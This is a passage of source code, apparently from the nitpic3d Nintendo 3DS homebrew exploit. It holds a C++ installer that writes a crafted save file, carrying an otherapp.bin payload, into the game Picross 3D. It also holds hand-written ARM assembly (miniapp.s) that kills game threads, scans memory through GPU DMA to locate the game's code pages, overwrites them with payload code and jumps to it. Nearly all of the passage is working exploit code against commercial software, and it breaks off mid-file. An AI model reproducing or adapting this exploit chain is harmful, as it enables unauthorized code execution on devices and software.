char[256]); 179 | if (!path) { 180 | return false; 181 | } 182 | 183 | auto path_len = snprintf(path.get(), 256, "%s/%s/otherapp.bin", BasePath, regionname); 184 | if (path_len < 0 || path_len >= 256) { 185 | return false; 186 | } 187 | 188 | debugmsgprint(C_DEBUG "%s\n", path.get()); 189 | 190 | FS_Path filePath = {PATH_ASCII, (u32)path_len+1, path.get()}; 191 | Result res = FSUSER_OpenFileDirectly(&filehandle, ARCHIVE_SDMC, sdmcPath, filePath, FS_OPEN_READ, 0); 192 | if (R_FAILED(res)) { 193 | debugmsgprint(C_DEBUG "[DEBUG] Open file directly %08lX\n", res); 194 | return false; 195 | } 196 | 197 | u64 filesize; 198 | res = FSFILE_GetSize(filehandle, &filesize); 199 | 200 | if (R_FAILED(res)) { 201 | debugmsgprint(C_DEBUG "[DEBUG] Get Size %08lX\n", res); 202 | res = FSFILE_Close(filehandle); 203 | if (R_FAILED(res)) svcCloseHandle(filehandle); 204 | return false; 205 | } 206 | 207 | otherapp_size = (size_t)filesize; 208 | 209 | res = FSFILE_Close(filehandle); 210 | if (R_FAILED(res)) { 211 | debugmsgprint(C_DEBUG "[DEBUG] File close %08lX\n", res); 212 | svcCloseHandle(filehandle); 213 | } 214 | 215 | return true; 216 | } 217 | 218 | u8* RegionSaveStatus::LoadPreparedSave(const char* regionname, const char* language) { 219 | Handle filehandle; 220 | 221 | std::unique_ptr savepath(new(std::nothrow) char[256]); 222 | std::unique_ptr otherapppath(new(std::nothrow) char[256]); 223 | if (!savepath || !otherapppath) { 224 | return nullptr; 225 | } 226 | 227 | auto savepath_len = snprintf(savepath.get(), 256, "%s/%s/%s/SAVEDATA", BasePath, regionname, language); 228 | if (savepath_len < 0 || savepath_len >= 256) { 229 | return nullptr; 230 | } 231 | 232 | auto otherapppath_len = snprintf(otherapppath.get(), 256, "%s/%s/otherapp.bin", BasePath, regionname); 233 | if (otherapppath_len < 0 || otherapppath_len >= 256) { 234 | return nullptr; 235 | } 236 | 237 | FS_Path savefilePath = {PATH_ASCII, (u32)savepath_len+1, savepath.get()}; 238 | FS_Path otherappfilePath = {PATH_ASCII, (u32)otherapppath_len+1, otherapppath.get()}; 239 | 240 | Result res = FSUSER_OpenFileDirectly(&filehandle, ARCHIVE_SDMC, sdmcPath, savefilePath, FS_OPEN_READ, 0); 241 | if (R_FAILED(res)) { 242 | debugmsgprint(C_DEBUG "[DEBUG] Open file directly %08lX\n", res); 243 | return nullptr; 244 | } 245 | 246 | u8* save = (u8*)malloc(0xb278); 247 | if (!save) { 248 | res = FSFILE_Close(filehandle); 249 | if (R_FAILED(res)) svcCloseHandle(filehandle); 250 | return nullptr; 251 | } 252 | 253 | u32 totalread; 254 | res = FSFILE_Read(filehandle, &totalread, 0LLU, save, 0xb278); 255 | 256 | if (R_FAILED(res) || totalread != 0xb278) { 257 | if(R_FAILED(res)) debugmsgprint(C_DEBUG "[DEBUG] File Read %08lX\n", res); 258 | else debugmsgprint(C_DEBUG "[DEBUG] Total read %lu\n", totalread); 259 | res = FSFILE_Close(filehandle); 260 | if (R_FAILED(res)) svcCloseHandle(filehandle); 261 | free(save); 262 | return nullptr; 263 | } 264 | 265 | res = FSFILE_Close(filehandle); 266 | if (R_FAILED(res)) { 267 | debugmsgprint(C_DEBUG "[DEBUG] File close %08lX\n", res); 268 | svcCloseHandle(filehandle); 269 | } 270 | 271 | const SploitSaveHeader* header = (SploitSaveHeader*)save; 272 | 273 | res = FSUSER_OpenFileDirectly(&filehandle, ARCHIVE_SDMC, sdmcPath, otherappfilePath, FS_OPEN_READ, 0); 274 | if (R_FAILED(res)) { 275 | debugmsgprint(C_DEBUG "[DEBUG] Open file directly %08lX\n", res); 276 | free(save); 277 | return nullptr; 278 | } 279 | 280 | res = FSFILE_Read(filehandle, &totalread, 0LLU, &save[header->otherapp_file_offset], header->otherapp_limit_size); 281 | if (R_FAILED(res) || !totalread) { 282 | if(R_FAILED(res)) debugmsgprint(C_DEBUG "[DEBUG] File Read %08lX\n", res); 283 | else debugmsgprint(C_DEBUG "[DEBUG] Nothing read."); 284 | res = FSFILE_Close(filehandle); 285 | if (R_FAILED(res)) svcCloseHandle(filehandle); 286 | free(save); 287 | return nullptr; 288 | } 289 | 290 | res = FSFILE_Close(filehandle); 291 | if (R_FAILED(res)) { 292 | debugmsgprint(C_DEBUG "[DEBUG] File close %08lX\n", res); 293 | svcCloseHandle(filehandle); 294 | } 295 | 296 | return save; 297 | } 298 | 299 | bool RegionSaveStatus::SetCWDBase() { 300 | std::unique_ptr _cwd(new(std::nothrow) char[256+9]); 301 | char* cwd = _cwd.get(); 302 | if (!getcwd(cwd, 256+9)) 303 | return false; 304 | char* start = strchr(cwd, '/'); // trying to truncate sdmc: 305 | if (!start) 306 | return false; 307 | // and any remove any / from end of path 308 | // if cwd == "/" then first '/' is also removed 309 | // since save and otherapp paths already preinclude a starting / 310 | for (int i = strlen(cwd)-1; &cwd[i] >= start && cwd[i] == '/'; --i) { 311 | cwd[i] = 0; 312 | } 313 | strncpy(BasePath, start, 256); 314 | BasePath[255] = 0; 315 | return true; 316 | } 317 | 318 | static Result FormatSave(u64 tid, FS_MediaType media) { 319 | u32 gamePath[3] = {media, (u32)(tid & 0xffffffff), (u32)((tid >> 32) & 0xffffffff)}; 320 | FS_Path FSgamePath = {PATH_BINARY, sizeof(gamePath), gamePath}; 321 | // game's default format settings 322 | Result res = FSUSER_FormatSaveData(ARCHIVE_USER_SAVEDATA, FSgamePath, 512, 1, 1, 3, 3, true); 323 | debugmsgprint(C_DEBUG "[DEBUG] Format Result %08lX\n", res); 324 | return res; 325 | } 326 | 327 | static Result WriteSaveFile(const u8* save, u64 tid, FS_MediaType media) { 328 | Handle file; 329 | Result res; 330 | 331 | if (media == MEDIATYPE_SD) { 332 | u64 in = ((u64)SECUREVALUE_SLOT_SD << 32) | (tid & 0xffffffff); 333 | u8 out = 0; 334 | res = FSUSER_ControlSecureSave(SECURESAVE_ACTION_DELETE, &in, sizeof(in), &out, sizeof(out)); 335 | debugmsgprint(C_DEBUG "[DEBUG] Secure delete %08lX\n", res); 336 | if (R_FAILED(res)) return res; 337 | } 338 | 339 | u32 gamePath[3] = {media, (u32)(tid & 0xffffffff), (u32)((tid >> 32) & 0xffffffff)}; 340 | FS_Path FSgamePath = {PATH_BINARY, sizeof(gamePath), gamePath}; 341 | static const u16 UTF16_SAVE_PATH[] = {'/', 'S', 'A', 'V', 'E', 'D', 'A', 'T', 'A', 0}; 342 | FS_Path FSsavePath = {PATH_UTF16, sizeof(UTF16_SAVE_PATH), UTF16_SAVE_PATH}; 343 | 344 | FS_Archive gameArchive; 345 | 346 | res = FSUSER_OpenArchive(&gameArchive, ARCHIVE_USER_SAVEDATA, FSgamePath); 347 | debugmsgprint(C_DEBUG "[DEBUG] Open Archive %08lX\n", res); 348 | if (R_FAILED(res)) return res; 349 | 350 | res = FSUSER_OpenFile(&file, gameArchive, FSsavePath, FS_OPEN_WRITE | FS_OPEN_CREATE, 0); 351 | debugmsgprint(C_DEBUG "[DEBUG] Open file %08lX\n", res); 352 | if (R_FAILED(res)) { 353 | Result res2 = FSUSER_CloseArchive(gameArchive); 354 | (void)res2; 355 | debugmsgprint(C_DEBUG "[DEBUG] Close Archive %08lX\n", res2); 356 | return res; 357 | } 358 | 359 | res = FSFILE_SetSize(file, 0xb278); 360 | debugmsgprint(C_DEBUG "[DEBUG] Set size %08lX\n", res); 361 | if (R_FAILED(res)) { 362 | Result res2 = FSFILE_Close(file); 363 | if (R_FAILED(res2)) svcCloseHandle(file); // close handle at least anyway, cause idk what else I could do here 364 | debugmsgprint(C_DEBUG "[DEBUG] File close %08lX\n", res); 365 | res2 = FSUSER_CloseArchive(gameArchive); 366 | debugmsgprint(C_DEBUG "[DEBUG] Close Archive %08lX\n", res2); 367 | return res; 368 | } 369 | 370 | u32 written; 371 | Result writeres = FSFILE_Write(file, &written, 0LLU, save, 0xb278, FS_WRITE_FLUSH); 372 | debugmsgprint(C_DEBUG "[DEBUG] File write %08lX\n", writeres); 373 | res = FSFILE_Close(file); 374 | if (R_FAILED(res)) svcCloseHandle(file); // close handle at least anyway, cause idk what else I could do here 375 | debugmsgprint(C_DEBUG "[DEBUG] File close %08lX\n", res); 376 | 377 | // pick and choose at error to return if any 378 | if (R_FAILED(writeres)) res = writeres; 379 | if (written != 0xb278 && R_SUCCEEDED(res)) { 380 | res = MAKERESULT(RL_FATAL, RS_CANCELED, RM_APPLICATION, RD_INVALID_SIZE); 381 | debugmsgprint(C_DEBUG "[DEBUG] Bad written size\n"); 382 | } 383 | if (R_FAILED(res)) { 384 | Result res2 = FSUSER_CloseArchive(gameArchive); 385 | (void)res2; 386 | debugmsgprint(C_DEBUG "[DEBUG] Close Archive %08lX\n", res2); 387 | return res; 388 | } 389 | 390 | u8 in, out; 391 | Result commitres = FSUSER_ControlArchive(gameArchive, ARCHIVE_ACTION_COMMIT_SAVE_DATA, &in, sizeof(in), &out, sizeof(out)); 392 | debugmsgprint(C_DEBUG "[DEBUG] Commit Archive %08lX\n", res); 393 | 394 | res = FSUSER_CloseArchive(gameArchive); 395 | debugmsgprint(C_DEBUG "[DEBUG] Close Archive %08lX\n", res); 396 | 397 | if (R_FAILED(writeres)) res = commitres; 398 | if (R_FAILED(res)) return res; 399 | 400 | return 0; 401 | } 402 | 403 | static void PressAToContinue() { 404 | printf(C_DEFAULT "Press A to continue\n"); 405 | while (aptMainLoop()) 406 | { 407 | hidScanInput(); 408 | if (hidKeysDown() & KEY_A) break; 409 | gfxFlushBuffers(); 410 | gfxSwapBuffers(); 411 | gspWaitForVBlank(); 412 | } 413 | } 414 | 415 | static void UpdateDigitalTarget(int& digital_target, bool digital_availability[3], const RegionSaveStatus* regionsaves[3], bool step_forward) { 416 | for (int i = 0; i < 3; ++i) { 417 | int index = digital_target; 418 | if (digital_availability[index] && regionsaves[index]->IsAvailable()) { 419 | digital_target = index; 420 | break; 421 | } 422 | step_forward ? (++index) : (--index); 423 | if (index < 0) index = 2; 424 | else if (index > 2) index = 0; 425 | digital_target = index; 426 | } 427 | } 428 | 429 | static void UpdateLinguisticTarget(int& lang_target, const RegionSaveStatus& savestatus, bool step_forward) { 430 | if (savestatus.GetLanguageCount() <= 1) { 431 | lang_target = 0; 432 | return; 433 | } 434 | for (int i = 0; i < savestatus.GetLanguageCount(); ++i) { 435 | int index = lang_target; 436 | if (savestatus.IsLanguageAvailable(index)) { 437 | lang_target = index; 438 | break; 439 | } 440 | step_forward ? (++index) : (--index); 441 | if (index < 0) index = savestatus.GetLanguageCount()-1; 442 | else if (index >= savestatus.GetLanguageCount()) index = 0; 443 | lang_target = index; 444 | } 445 | } 446 | 447 | static void PrintDigitalTarget(const RegionSaveStatus& savestatus) { 448 | printf(C_DEFAULT "Digital target: %s\n", savestatus.GetRegionStr()); 449 | } 450 | 451 | static void PrintLinguisticTarget(const RegionSaveStatus& savestatus, int lang_target) { 452 | printf(C_DEFAULT "Language target: %s\n", savestatus.GetLanguageStr(lang_target)); 453 | } 454 | 455 | static void InstallToDigitalTarget(const RegionSaveStatus& savestatus, int lang_target, bool formatsave) { 456 | consoleClear(); 457 | 458 | do { 459 | Result res; 460 | u8* save = savestatus.LoadPreparedSave(lang_target); 461 | if (!save) { 462 | printf(C_BAD "Failed to load save to memory.\n"); 463 | break; 464 | } 465 | 466 | if (formatsave) { 467 | puts(C_DEFAULT "Formating save..."); 468 | res = FormatSave(savestatus.GetTitleId(), MEDIATYPE_SD); 469 | if (R_FAILED(res)) { 470 | printf(C_DEFAULT "Save format fail: " C_BAD "0x%08lX\n", res); 471 | free(save); 472 | break; 473 | } else { 474 | puts(C_GOOD "Successfully formatted save."); 475 | } 476 | } 477 | 478 | res = WriteSaveFile(save, savestatus.GetTitleId(), MEDIATYPE_SD); 479 | free(save); 480 | 481 | if (R_FAILED(res)) { 482 | printf(C_DEFAULT "Failed to write save: " C_BAD "0x%08lX\n", res); 483 | break; 484 | } 485 | 486 | printf(C_GOOD "Save installed!\n"); 487 | } while(false); 488 | 489 | PressAToContinue(); 490 | } 491 | 492 | static bool CartLangSelect(const RegionSaveStatus& savestatus, int& lang_target) { 493 | lang_target = 0; 494 | 495 | auto printinfo = [&]() { 496 | consoleClear(); 497 | printf(C_DEFAULT "Game's region: " C_GOOD " %s\n", savestatus.GetRegionStr()); 498 | PrintLinguisticTarget(savestatus, lang_target); 499 | }; 500 | 501 | UpdateLinguisticTarget(lang_target, savestatus, true); 502 | PrintLinguisticTarget(savestatus, lang_target); 503 | 504 | if (savestatus.GetAvailableLanguageCount() <= 1) 505 | return aptMainLoop(); // just check if we should still running 506 | 507 | bool apt_run = aptMainLoop(); 508 | for (; apt_run; apt_run = aptMainLoop()) 509 | { 510 | hidScanInput(); 511 | 512 | u32 kDown = hidKeysDown(); 513 | 514 | if (kDown & KEY_START) break; 515 | 516 | else if (kDown & KEY_DUP) { 517 | if (++lang_target >= savestatus.GetLanguageCount()) lang_target = 0; 518 | UpdateLinguisticTarget(lang_target, savestatus, true); 519 | printinfo(); 520 | } 521 | else if (kDown & KEY_DDOWN) { 522 | if (--lang_target < 0) lang_target = savestatus.GetLanguageCount()-1; 523 | UpdateLinguisticTarget(lang_target, savestatus, false); 524 | printinfo(); 525 | } 526 | 527 | gfxFlushBuffers(); 528 | gfxSwapBuffers(); 529 | gspWaitForVBlank(); 530 | } 531 | 532 | return apt_run; 533 | } 534 | 535 | static void InstallToCart(const RegionSaveStatus* regionsaves[3], bool formatsave) { 536 | consoleClear(); 537 | 538 | do { 539 | Result res; 540 | 541 | bool hascard; 542 | res = FSUSER_CardSlotIsInserted(&hascard); 543 | if (R_FAILED(res)) { 544 | printf(C_DEFAULT "Failed to check card: " C_BAD "0x%08lX.\n", res); 545 | break; 546 | } 547 | 548 | if (!hascard) { 549 | printf(C_BAD "Card slot has no card.\n"); 550 | break; 551 | } 552 | 553 | FS_CardType type; 554 | res = FSUSER_GetCardType(&type); 555 | if (R_FAILED(res)) { 556 | printf(C_DEFAULT "Couldn't get card type: " C_BAD "0x%08lX.\n", res); 557 | break; 558 | } 559 | 560 | if (type != CARD_CTR) { 561 | printf(C_BAD "Card is not a 3DS card!\n"); 562 | break; 563 | } 564 | 565 | u64 titleid = 0; 566 | u32 count; 567 | res = AM_GetTitleList(&count, MEDIATYPE_GAME_CARD, 1, &titleid); 568 | if (R_FAILED(res)) { 569 | printf(C_DEFAULT "Couldn't get card title id: " C_BAD "0x%08lX.\n", res); 570 | break; 571 | } 572 | 573 | int target; 574 | 575 | for (target = 0; target < 3; ++target) { 576 | if (regionsaves[target]->GetTitleId() == titleid) break; 577 | } 578 | 579 | if (target == 3) { 580 | printf(C_DEFAULT "Card not Picross3d! " C_BAD "0x%016llX\n", titleid); 581 | break; 582 | } 583 | 584 | printf(C_DEFAULT "Game's region: " C_GOOD " %s\n", regionsaves[target]->GetRegionStr()); 585 | 586 | if (!regionsaves[target]->IsAvailable()) { 587 | printf(C_BAD "Save for this region not is ready!"); 588 | break; 589 | } 590 | 591 | int lang_target; 592 | 593 | if(!CartLangSelect(*regionsaves[target], lang_target)) { 594 | // apt said to stop, so we cancel 595 | break; 596 | } 597 | 598 | u8* save = regionsaves[target]->LoadPreparedSave(lang_target); 599 | if (!save) { 600 | printf(C_BAD "Failed to load save to memory.\n"); 601 | break; 602 | } 603 | 604 | if (formatsave) { 605 | puts(C_DEFAULT "Formating save..."); 606 | res = FormatSave(regionsaves[target]->GetTitleId(), MEDIATYPE_GAME_CARD); 607 | if (R_FAILED(res)) { 608 | printf(C_DEFAULT "Save format fail: " C_BAD "0x%08lX\n", res); 609 | free(save); 610 | break; 611 | } else { 612 | puts(C_GOOD "Successfully formatted save."); 613 | } 614 | } 615 | 616 | res = WriteSaveFile(save, regionsaves[target]->GetTitleId(), MEDIATYPE_GAME_CARD); 617 | free(save); 618 | 619 | if (R_FAILED(res)) { 620 | printf(C_DEFAULT "Failed to write save: " C_BAD "0x%08lX\n", res); 621 | break; 622 | } 623 | 624 | printf(C_GOOD "Save installed!\n"); 625 | } while(false); 626 | 627 | puts(C_DEFAULT); 628 | PressAToContinue(); 629 | } 630 | 631 | static Result CheckDigitalAvailability(const RegionSaveStatus* regionsaves[3], bool digital_availability[3], bool& is_digital_available) { 632 | u32 titlecount; 633 | Result res = AM_GetTitleCount(MEDIATYPE_SD, &titlecount); 634 | if (R_FAILED(res)) { 635 | return res; 636 | } 637 | std::unique_ptr installedtitles(new(std::nothrow) u64[titlecount]); 638 | if (!installedtitles) { 639 | return MAKERESULT(RL_FATAL, RS_OUTOFRESOURCE, RM_APPLICATION, RD_OUT_OF_MEMORY); 640 | } 641 | res = AM_GetTitleList(&titlecount, MEDIATYPE_SD, titlecount, installedtitles.get()); 642 | if (R_FAILED(res)) { 643 | return res; 644 | } 645 | for (u32 i = 0, found = 0; i < titlecount; ++i) { 646 | for (int j = 0; j < 3; ++j) { 647 | if (installedtitles.get()[i] == regionsaves[j]->GetTitleId()) { 648 | digital_availability[j] = true; 649 | if (regionsaves[j]->IsAvailable()) is_digital_available = true; 650 | ++found; 651 | } 652 | } 653 | if (found == 3) break; 654 | } 655 | return 0; 656 | } 657 | 658 | static void PrintControls(bool can_install, bool has_digital) { 659 | if (can_install) { 660 | puts(C_DEFAULT "X - Cart save install"); 661 | if (has_digital) { 662 | puts(C_DEFAULT "Y - Digital save install"); 663 | } else { 664 | puts(C_BAD "Digital install disabled"); 665 | } 666 | puts(C_DEFAULT "Hold L to also format save"); 667 | if (has_digital) puts("DPad Left/Right - Pick digital region"); 668 | puts("DPad Up/Down - Pick language"); 669 | } else { 670 | puts(C_BAD "Installs disabled, no saves ready"); 671 | } 672 | puts(C_DEFAULT "Start - Exit"); 673 | } 674 | 675 | static void PrintSaveInformation(const RegionSaveStatus* regionsaves[3]) { 676 | printf(C_DEFAULT "SAVEDATA Status:"); 677 | for (int i = 0; i < 3; ++i) { 678 | printf(C_DEFAULT "\n- %s:", regionsaves[i]->GetRegionStr()); 679 | if (!regionsaves[i]->IsAvailable()) { 680 | printf(C_BAD " Unavailable."); 681 | continue; 682 | } 683 | printf(C_GOOD "\n - "); 684 | for (int j = 0, printed_count = 0; j < regionsaves[i]->GetLanguageCount(); ++j) { 685 | if (regionsaves[i]->IsLanguageAvailable(j)) { 686 | if (printed_count) printf(", "); 687 | printf("%s", regionsaves[i]->GetLanguageStr(j)); 688 | ++printed_count; 689 | } 690 | } 691 | } 692 | printf("\n\n"); 693 | } 694 | 695 | static void PrintDigitalAvailability(const RegionSaveStatus* regionsaves[3], bool digital_availability[3], Result scan_result) { 696 | if (R_FAILED(scan_result)) { 697 | printf(C_DEFAULT "Digital search failed: " C_BAD "0x%08lX", scan_result); 698 | } else { 699 | printf(C_DEFAULT "Digital installs found: " C_GOOD); 700 | int print_count = 0; 701 | for (int i = 0; i < 3; ++i) { 702 | if (digital_availability[i]) { 703 | if (print_count) printf(", "); 704 | printf("%s", regionsaves[i]->GetRegionStr()); 705 | ++print_count; 706 | } 707 | } 708 | if (!print_count) printf(C_DEFAULT "None"); 709 | } 710 | printf("\n\n"); 711 | } 712 | 713 | int main(int argc, char** argv) { 714 | gfxInitDefault(); 715 | amInit(); 716 | fsInit(); 717 | 718 | PrintConsole topScreen, bottomScreen; 719 | 720 | consoleInit(GFX_TOP, &topScreen); 721 | consoleInit(GFX_BOTTOM, &bottomScreen); 722 | 723 | consoleSelect(&topScreen); 724 | 725 | puts(C_TITLE " == nitpic3d Installer ==\n"); 726 | 727 | if(!RegionSaveStatus::SetCWDBase()) { 728 | puts(C_BAD "Path Setup failed. Using sdmc root.\n"); 729 | } 730 | 731 | EURSaveStatus eursave; 732 | USASaveStatus usasave; 733 | JPNSaveStatus jpnsave; 734 | 735 | const RegionSaveStatus* regionsaves[3] = {&eursave, &usasave, &jpnsave}; 736 | 737 | bool digital_availability[3] = {false, false, false}; 738 | bool is_digital_available = false; 739 | bool has_ready_saves = eursave.IsAvailable() || usasave.IsAvailable() || jpnsave.IsAvailable(); 740 | 741 | Result digital_check_res = CheckDigitalAvailability(regionsaves, digital_availability, is_digital_available); 742 | 743 | PrintSaveInformation(regionsaves); 744 | PrintDigitalAvailability(regionsaves, digital_availability, digital_check_res); 745 | 746 | PrintControls(has_ready_saves, is_digital_available); 747 | 748 | consoleSelect(&bottomScreen); 749 | 750 | int digital_target = 0; 751 | int lang_target = 0; 752 | 753 | auto printtargets = [&]() { 754 | consoleClear(); 755 | PrintDigitalTarget(*regionsaves[digital_target]); 756 | PrintLinguisticTarget(*regionsaves[digital_target], lang_target); 757 | }; 758 | 759 | if (is_digital_available) { 760 | UpdateDigitalTarget(digital_target, digital_availability, regionsaves, true); 761 | UpdateLinguisticTarget(lang_target, *regionsaves[digital_target], true); 762 | printtargets(); 763 | } 764 | 765 | gfxFlushBuffers(); 766 | gfxSwapBuffers(); 767 | gspWaitForVBlank(); 768 | 769 | while (aptMainLoop()) 770 | { 771 | hidScanInput(); 772 | 773 | u32 kDown = hidKeysDown(); 774 | u32 kHeld = hidKeysHeld(); 775 | 776 | if (kDown & KEY_START) break; 777 | 778 | if (is_digital_available && kDown & KEY_DRIGHT) { 779 | int old_target = digital_target; 780 | if (++digital_target > 2) digital_target = 0; 781 | UpdateDigitalTarget(digital_target, digital_availability, regionsaves, true); 782 | if (old_target != digital_target) { 783 | lang_target = 0; 784 | UpdateLinguisticTarget(lang_target, *regionsaves[digital_target], true); 785 | printtargets(); 786 | } 787 | } 788 | else if (is_digital_available && kDown & KEY_DLEFT) { 789 | int old_target = digital_target; 790 | if (--digital_target < 0) digital_target = 2; 791 | UpdateDigitalTarget(digital_target, digital_availability, regionsaves, false); 792 | if (old_target != digital_target) { 793 | lang_target = 0; 794 | UpdateLinguisticTarget(lang_target, *regionsaves[digital_target], true); 795 | printtargets(); 796 | } 797 | } 798 | else if (is_digital_available && kDown & KEY_DUP) { 799 | if (++lang_target >= regionsaves[digital_target]->GetLanguageCount()) lang_target = 0; 800 | UpdateLinguisticTarget(lang_target, *regionsaves[digital_target], true); 801 | printtargets(); 802 | } 803 | else if (is_digital_available && kDown & KEY_DDOWN) { 804 | if (--lang_target < 0) lang_target = regionsaves[digital_target]->GetLanguageCount()-1; 805 | UpdateLinguisticTarget(lang_target, *regionsaves[digital_target], false); 806 | printtargets(); 807 | } 808 | else if (is_digital_available && kDown & KEY_Y) { 809 | InstallToDigitalTarget(*regionsaves[digital_target], lang_target, (kHeld & KEY_L) != 0); 810 | printtargets(); 811 | } 812 | else if (has_ready_saves && kDown & KEY_X) { 813 | InstallToCart(regionsaves, (kHeld & KEY_L) != 0); 814 | if (is_digital_available) printtargets(); 815 | else consoleClear(); 816 | } 817 | 818 | gfxFlushBuffers(); 819 | gfxSwapBuffers(); 820 | gspWaitForVBlank(); 821 | } 822 | 823 | fsExit(); 824 | amExit(); 825 | gfxExit(); 826 | return 0; 827 | } 828 | -------------------------------------------------------------------------------- /sploit/3ds_ropkit/miniapp.s: -------------------------------------------------------------------------------- 1 | .arm 2 | @ I'm about to commit sin with these branch abstractions 3 | #define HELPERAPP_TARGET_ADDR 0x100000 4 | #define TEXTABSTRACTPTR(x) (miniapp + ((x) - HELPERAPP_TARGET_ADDR)) 5 | #define HELPERRELATIVEPTR(x) (HELPERAPP_TARGET_ADDR + ((x) - miniapp)) 6 | #define OTHERAPP_BINLOAD_SIZE 0xC000 7 | #define MAKERESULT(level,summary,module,description) ((((level)&0x1F)<<27) | (((summary)&0x3F)<<21) | (((module)&0xFF)<<10) | ((description)&0x3FF)) 8 | @ some of the things here could be a lot cleaner 9 | @ but hey, what can one expect of hand writen assembly sometimes 10 | miniapp: 11 | mov sp, r1 12 | adr r6, .Lthread_kill_data 13 | ldm r6!, {r1-r5} @ after execute, r6 now == addr .Lsome_thread_data 14 | ldr r1, [r1] @ get srv notification handle 15 | str r4, [r3] @ set break handler ptr to our svc 9 16 | svc 0x16 @ we release the srv semaphore get it out of waiting. It will panic due to the lack of a real srv notification 17 | bl CmpThrow @ throw error if bad result 18 | mov r0, r5 19 | bl TEXTABSTRACTPTR(Thread_Exit) 20 | ldm r6!, {r0-r1,r4,r7} @ after execute, r6 == addr .Lnullptr 21 | mov r5, #1 22 | strb r5, [r1] @ stop flag 23 | ldr r0, [r0] @ event handle, will wake up the thread 24 | svc 0x18 @ signal event 25 | bl CmpThrow @ throw error if bad result 26 | mov r0, r4 27 | bl TEXTABSTRACTPTR(Thread_Exit) 28 | strb r5, [r7, #20] @ stop flag 29 | strb r5, [r7, #40] @ stop flag 30 | str r5, [r7, #92] @ break loop out data 31 | str r5, [r7, #96] @ breaking out as well 32 | str r6, [r7, #56] @ having it point to a 0 will also serve as a stop for one part of the thread loop 33 | mov r1, #1 34 | add r0, r7, #60 @ waiting LightSemaphore's position 35 | bl TEXTABSTRACTPTR(LightSemaphore_Release) @ give it a reason to continue, the thread should be in wait 36 | mov r0, r7 37 | bl TEXTABSTRACTPTR(Thread_Exit) 38 | @ how convenient, there's a function to stop one the threads 39 | bl TEXTABSTRACTPTR(DSP_ThreadStop) 40 | @ lets clear some handles 41 | bl TEXTABSTRACTPTR(SOUND_CLEAR1) 42 | bl TEXTABSTRACTPTR(SOUND_CLEAR2) 43 | bl TEXTABSTRACTPTR(DSP_Exit) 44 | ldm r6!, {r0, r4, r5} @ hop over .Lnullptr with r1. After execute, r6 == addr .Lotherapp_stackaddr 45 | sub sp, sp, r5, lsl #2 46 | mov r2, r5 47 | mov r1, r4 48 | mov r0, sp 49 | bl find_vmem_pages 50 | mov r0, sp 51 | mov r1, r5 52 | bl copy_otherapp_from_save_to_text 53 | add sp, sp, r5, lsl #2 54 | mov r0, #ROPKIT_BEFOREJUMP_CACHEBUFADDR 55 | mov r1, #ROPKIT_BEFOREJUMP_CACHEBUFSIZE 56 | bl TEXTABSTRACTPTR(GSPGPU_FlushDataCache) 57 | bl CmpThrow @ throw error if bad result 58 | ldm r6, {r5-r10} @ we've read .Lotherapp_stackaddr + .Lotherapp_data 59 | @ now we setup the paramblk for otherapp 60 | mov r0, r6 61 | mov r1, #0x1000 62 | bl TEXTABSTRACTPTR(MEMSET32_OTHER) 63 | str r7, [r6, #0x1C] 64 | str r8, [r6, #0x20] 65 | str r9, [r6, #0x48] 66 | str r10, [r6, #0x58] 67 | mov r0, r6 68 | mov r1, r5 69 | bx r4 70 | .Lthread_kill_data: 71 | .word SRV_Notification_Semaphore 72 | .word 1 73 | .word BreakHandlerPtr 74 | .word HELPERRELATIVEPTR(fake_break_handler) 75 | .word SRV_THREAD_HANDLE 76 | .Lsome_thread_data: 77 | .word SOMETHREAD1EVENT @ event handle ptr 78 | .word SOMETHREAD1TERMINATIONFLAG @ thread termination flag 79 | .word SOMETHREAD1OBJ @ thread object 80 | .Lsome_thread_other_data: 81 | .word SOMETHREAD2OBJ @ another thread object and others (sound related?) 82 | .Lnullptr: 83 | .word 0 @ nullptr 84 | .Ltarget_otherapp: 85 | .word 0x101000 86 | .word 0xC 87 | .Lotherapp_stackaddr: 88 | .word (0x10000000-4) 89 | .Lotherapp_data: 90 | .word ROPKIT_LINEARMEM_BUF 91 | .word GXLOW_CMD4 92 | .word GSPGPU_FlushDataCache 93 | .word 0x8d @ Flags 94 | .word GSPGPU_SERVHANDLEADR 95 | 96 | fake_break_handler: 97 | svc 0x09 98 | 99 | CmpThrow: 100 | movs r0, r0 101 | bxpl lr 102 | Throw: 103 | mov r1, lr 104 | b TEXTABSTRACTPTR(ERRF_THROW) @ bad result, throw error 105 | 106 | @ search through paslr 107 | @ r0/r7 - array of linear offsets (excepts accessable length to be 4*r2) 108 | @ r1/r8 - text address target 109 | @ r2/r9 - target text page count 110 | @ returns nothing 111 | @ throws error to err:f 112 | find_vmem_pages: 113 | push {r0-r2, r4-r5, r7-r9, r10-r11, lr} 114 | mov r1, r2, lsl #2 115 | bl TEXTABSTRACTPTR(MEMSET32_OTHER) 116 | pop {r7-r9} 117 | adr r3, .Lappmemcheck 118 | ldm r3, {r3, r11} 119 | ldr r3, [r3] @ get APPMEMTYPE 120 | ldr r4, [r11, r3, lsl #2] 121 | mov r11, #ROPKIT_LINEARMEM_REGIONBASE 122 | add r4, r4, r11 123 | add r10, r11, #0x100000 124 | mov r5, r9 125 | @ r10 - Work buffer 126 | @ r11 - Linear base 127 | @ r4 - next read address 128 | @ r5 - total of found pages, stops when r5 == arg3, throws error if r5 > arg3 129 | @ transfer size 0x100000 130 | vmem_search_loop: 131 | sub r4, r4, #0x100000 132 | cmp r4, r11 133 | ldreq r0, .Lvmem_search_error_notfound 134 | bleq Throw 135 | cmp r4, r10 136 | beq vmem_search_loop @ skip, r4 == r10 137 | mov r0, r4 138 | mov r1, r10 139 | mov r2, #0x100000 140 | mov r3, r10 141 | bl flush_and_gspwn 142 | mov r0, r10 143 | mov r1, r8 144 | mov r2, r9 145 | mov r3, r7 146 | mov r12, r4 147 | bl search_linear_buffer 148 | subs r5, r5, r0 149 | popeq {r4-r5, r7-r9, r10-r11, pc} @ exit if all found 150 | bpl vmem_search_loop @ continue if there are any left to find 151 | ldr r0, .Lvmem_search_error_duplicatefinds @ if we hit this, we found multiple instances of the same page and over counted 152 | bl Throw 153 | .Lappmemcheck: 154 | .word 0x1FF80030 155 | .word ropkit_appmemtype_appmemsize_table 156 | .Lvmem_search_error_notfound: 157 | .word MAKERESULT(0x1F, 4, 254, 0x3EF) @ fatal, not found, application, no data 158 | .Lvmem_search_error_duplicatefinds: 159 | .word MAKERESULT(0x1F, 5, 254, 0x3FC) @ fatal, invalid state, application, already exists 160 | 161 | @ unconventional function arguments, but screw accessing stack arguments 162 | @ r0/r5 - linear buffer to search 163 | @ 